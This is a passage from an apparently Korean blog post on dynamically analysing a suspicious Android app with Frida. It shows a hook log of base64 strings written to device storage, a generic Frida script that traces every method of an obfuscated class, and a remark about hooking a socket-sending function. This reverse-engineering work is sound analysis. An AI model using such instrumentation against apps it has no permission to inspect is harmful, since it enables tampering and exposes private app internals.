67 67 0A 37 49 75 67 4C 43  rr..sn.gg...ug..\n00a0  42 47 59 57 4E 6C 59 6D 39 76 61 79 77 67 56 57  .....l.m.vaywg..\n00b0  35 6A 63 6D 46 6A 61 32 46 69 62 47 55 78 4C 43  .jcm.ja..ib.....\n00c0  42 51 59 58 6C 75 62 33 64 43 
61 58 6F 73 49 45  ....lub.d.a.os..\n00d0  6C 75 61 6E 56 79 5A 57 52 42 62 6D 52 79 62 32  luan.y....bm.yb.\n00e0  6C 6B 4C 43 42 53 0A 62 32 39 30 49 45 4E 6C 63  lk.....b......lc\n00f0  6E 52 70 5A 6D 6C 6A 59 58 52 6C 49 45 
31 68 62  n.p.mlj...l...hb\n0100  6D 46 6E 5A 58 49 73 49 45 46 75 5A 48 4A 76 52  m.n...s...u...v.\n0110  32 39 68 64 43 41 74 49 45 6C 75 63 32 56 6A 64  ..hd..t..luc..jd\n0120  58 4A 6C 49 45 46 77 63 43 41 6F 53 32 39 30 62 
 ..l...wc..o....b\n0130  47 6C 75 0A 4B 53 77 67 59 6E 4A 68 5A 47 56 7A  .lu...wg.n.h...z\n0140  59 32 38 73 49 4F 75 68 6E 4F 75 54 6E 43 44 72  ...s..uhn.u.n..r\n0150  71 71 6A 72 73 4A 54 73 6E 62 77 36 49 4F 32 44  qqjrs..snbw.....\n0160  67 4F 79 62 6A 43 44 72 6C 4A 54 74 6A 70 7A 73  g.ybj..rl..tjpzs\n0170  69 71 51 73 49 4F 79 61 6C 4F 71 30 74 43 44 72  iq.s..yal.q.t..r\n0180  0A 73 6F 7A 72 71 71 6E 71 76 72 77 36 49 4F 79  .sozrqqnqvrw...y\n0190  59 67 65 79 77 71 4F 79 59 67 65 79 77 71 43 77  .geywq.y.geywq.w\n01a0  67 36 37 4F 30 36 36 79 38 37 4A 32 30 37 4A 57  g......y........\n01b0  38 49 4F 75 57 71 4F 79 57 74 4F 79 67 75 4F 75  ...u.q.y.t.ygu.u\n01c0  64 76 43 77 67 37 4C 32 63 49 4F 79 59 0A 70 4F  dv.wg...c..y..p.\n01d0  75 34 6A 43 44 72 6B 35 7A 72 6E 70 6A 71 73 36  u.j..rk.zrnpjqs.\n01e0  54 73 70 6F 67 73 49 4F 71 77 6E 4F 32 4D 6B 4F  .spogs..qwn...k.\n01f0  79 59 70 4F 75 32 68 4F 79 67 68 43 77 67 36 34  y.p.u.h.ygh.wg..\n0200  32 77 36 37 69 55 54 53 77 67 37 5A 53 38 36 36  .w..i...wg......\n0210  65 64 49 4F 32 50 72 4F 79 37 0A 70 44 6F 67 37  ed....r.y..p.og.\n0220  4C 6D 30 37 4B 65 41 36 34 57 34 49 4F 75 68 6E  .m...e.......uhn\n0230  4F 79 57 68 43 67 33 37 59 2B 73 37 4C 75 6B 4C  .y.h.g...+s..uk.\n0240  4F 75 68 6E 4F 79 61 73 4F 75 77 6C 4F 75 52 6B  .uhn.yas.uwl.u.k\n0250  65 79 64 74 43 7A 74 6C 5A 6A 73 6E 62 54 72 6F  eydt.ztl.jsnb.ro\n0260  5A 7A 73 6D 72 41 70 0A 4C 43 44 72 73 4A 54 73  .zsmr.p....rs..s\n0270  6E 62 54 74 67 72 6B 67 36 35 32 38 37 4A 32 30  nb.tgrkg........\n0280  37 4B 61 49 58 53 4D 31 0A 3E 0D 0A 0A..\n00 0 [7536] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileInputStream.read.2] Read from file,offset,len ([unknow],0,332)
         [336] bytes of zeroes
---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileInputStream.read.2] Read from file,offset,len ([unknow],0,332)
         [336] bytes of zeroes
---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileInputStream.read.2] Read from file,offset,len ([unknow],0,332)
         [336] bytes of zeroes
---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 41 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 2B 32 5A  ....bm.o...j.+..\n0010  69 43 44 74 6D 5A 54 72 71 62 51 67..\n53 3 [8144] bytes of zeroesn0020  58 53 4D 31 0A 3E 0D 0A 0A 00 00 00 00 00 00 00  ......
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 41 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 2B 32 5A  ....bm.o...j.+..\n0010  69 43 44 74 6D 5A 54 72 71 62 51 67..\n53 3 [8144] bytes of zeroesn0020  58 53 4D 31 0A 3E 0D 0A 0A 00 00 00 00 00 00 00  ......
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 37 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 42 68  ....bm.o...j...h\n0010  65 57 35 76 64 30 4A 70 65 6C 30 6A..\n41 3 [8144] bytes of zeroesn0020  0A 3E 0D 0A 0A 00 00 00 00 00 00 00 00 00 00 00  ..
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 41 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 41 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileInputStream.read.2] Read from file,offset,len ([unknow],0,332)
         [336] bytes of zeroes
---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 55 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 41 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 41 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 41 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 41 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 41 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 55 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 41 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 55 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 37 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 51  ....bm...ml...t.\n0010  59 58 6C 75 62 33 64 43 61 58 70 64..\n7A 5 [8144] bytes of zeroesn0020  0A 3E 0D 0A 0A 00 00 00 00 00 00 00 00 00 00 00  ..
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileInputStream.read.2] Read from file,offset,len ([unknow],0,332)
         [336] bytes of zeroes
---------------------------
[Java::FileOuputStream.write.2] Write 41 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 2B 32 5A  ....bm.o...j.+..\n0010  69 43 44 74 6D 5A 54 72 71 62 51 67..\n53 3 [8144] bytes of zeroesn0020  58 53 4D 31 0A 3E 0D 0A 0A 00 00 00 00 00 00 00  ......
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;figure data-ke-type=&quot;image&quot; data-ke-style=&quot;alignCenter&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;
&lt;figcaption style=&quot;display: none;&quot;&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;frida java backtrace&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://stackoverflow.com/questions/48480980/print-stacktrace-using-frida&quot;&gt;https://stackoverflow.com/questions/48480980/print-stacktrace-using-frida&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;http://linforum.kr/bbs/board.php?bo_table=android&amp;amp;wr_id=532&quot;&gt;http://linforum.kr/bbs/board.php?bo_table=android&amp;amp;wr_id=532&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드&lt;/p&gt;
&lt;pre id=&quot;code_1703758553750&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/**
It should be launch earlier in order to be aware of a maximun 
quantity of file descriptors.


@author @FrenchYeti
*/
Java.perform(function () {
  var logContentArray = new Array();
  var singlePrefix = '|-';
  function uniqBy(array, key) {
    var seen = {};
    return array.filter(function (item) {
      var k = key(item);
      return seen.hasOwnProperty(k) ? false : (seen[k] = true);
    });
  }

  function traceClass(targetClass) {
    var hook = Java.use(targetClass);
    var methods = hook.class.getDeclaredMethods();
    hook.$dispose;

    var parsedMethods = [];
    methods.forEach(function (method) {
      parsedMethods.push(
        method
          .toString()
          .replace(targetClass + '.', 'TOKEN')
          .match(/\sTOKEN(.*)\(/)[1]
      );
    });

    var targets = uniqBy(parsedMethods, JSON.stringify);
    targets.forEach(function (targetMethod) {
      traceMethod(targetClass + '.' + targetMethod);
    });
  }

  // usage examples
  function traceMethod(targetClassMethod) {
    var delim = targetClassMethod.lastIndexOf('.');
    if (delim === -1) return;

    var targetClass = targetClassMethod.slice(0, delim);
    var targetMethod = targetClassMethod.slice(
      delim + 1,
      targetClassMethod.length
    );
    var hook = Java.use(targetClass);
    var overloadCount = hook[targetMethod].overloads.length;
    console.log(
      'Tracing ' + targetClassMethod + ' [' + overloadCount + ' overload(s)]'
    );
    for (var i = 0; i &amp;lt; overloadCount; i++) {
      hook[targetMethod].overloads[i].implementation = function () {
        var logContent_1 = 'entered--' + targetClassMethod;
        var prefixStr = gainLogPrefix(logContentArray);
        logContentArray.push(prefixStr + logContent_1);
        console.log(prefixStr + logContent_1);

        for (var j = 0; j &amp;lt; arguments.length; j++) {
          var tmpLogStr = prefixStr + 'arg[' + j + ']: ' + arguments[j];
          console.log(tmpLogStr);
        }

        var retval = this[targetMethod].apply(this, arguments);
        var tmpReturnStr = prefixStr + 'retval: ' + retval;
        console.log(tmpReturnStr);
        var logContent_ex = 'exiting--' + targetClassMethod;
        console.log(prefixStr + logContent_ex);
        return retval;
      };
    }
  }

  function gainLogPrefix(theArray) {
    var lastIndex = theArray.length - 1;
    if (lastIndex &amp;lt; 0) {
      return singlePrefix;
    }

    for (var i = lastIndex; i &amp;gt;= 0; i--) {
      var tmpLogContent = theArray[i];
      var cIndex = tmpLogContent.indexOf('entered--');
      if (cIndex == -1) {
        var cIndex2 = tmpLogContent.indexOf('exiting--');
        if (cIndex2 == -1) {
          continue;
        } else {
          var resultStr = tmpLogContent.slice(0, cIndex2);
          return resultStr;
        }
      } else {
        var resultStr = singlePrefix + tmpLogContent.slice(0, cIndex); //replace(/entered--/, &quot;&quot;);
        return resultStr;
      }
    }
    return '';
  }

  setTimeout(function () {
    Java.perform(function () {
      traceClass(
        'keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.heyskfqaiyiagrkxrskdbenbypsxoghbajiuihcxiyrrhzcmtq27'
      );
      //traceClass(&quot;com.xxx.Application&quot;);
    });
  }, 0);
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1940&quot; data-origin-height=&quot;838&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8C0wo/btsCEJarrpS/k0s0T0fCIvsXXmnFYlEED1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8C0wo/btsCEJarrpS/k0s0T0fCIvsXXmnFYlEED1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8C0wo/btsCEJarrpS/k0s0T0fCIvsXXmnFYlEED1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8C0wo%2FbtsCEJarrpS%2Fk0s0T0fCIvsXXmnFYlEED1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1940&quot; height=&quot;838&quot; data-origin-width=&quot;1940&quot; data-origin-height=&quot;838&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;socket을 날리는 run 함수를 후킹해봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;함수 frida 코드 가져오기&lt;/p&gt;
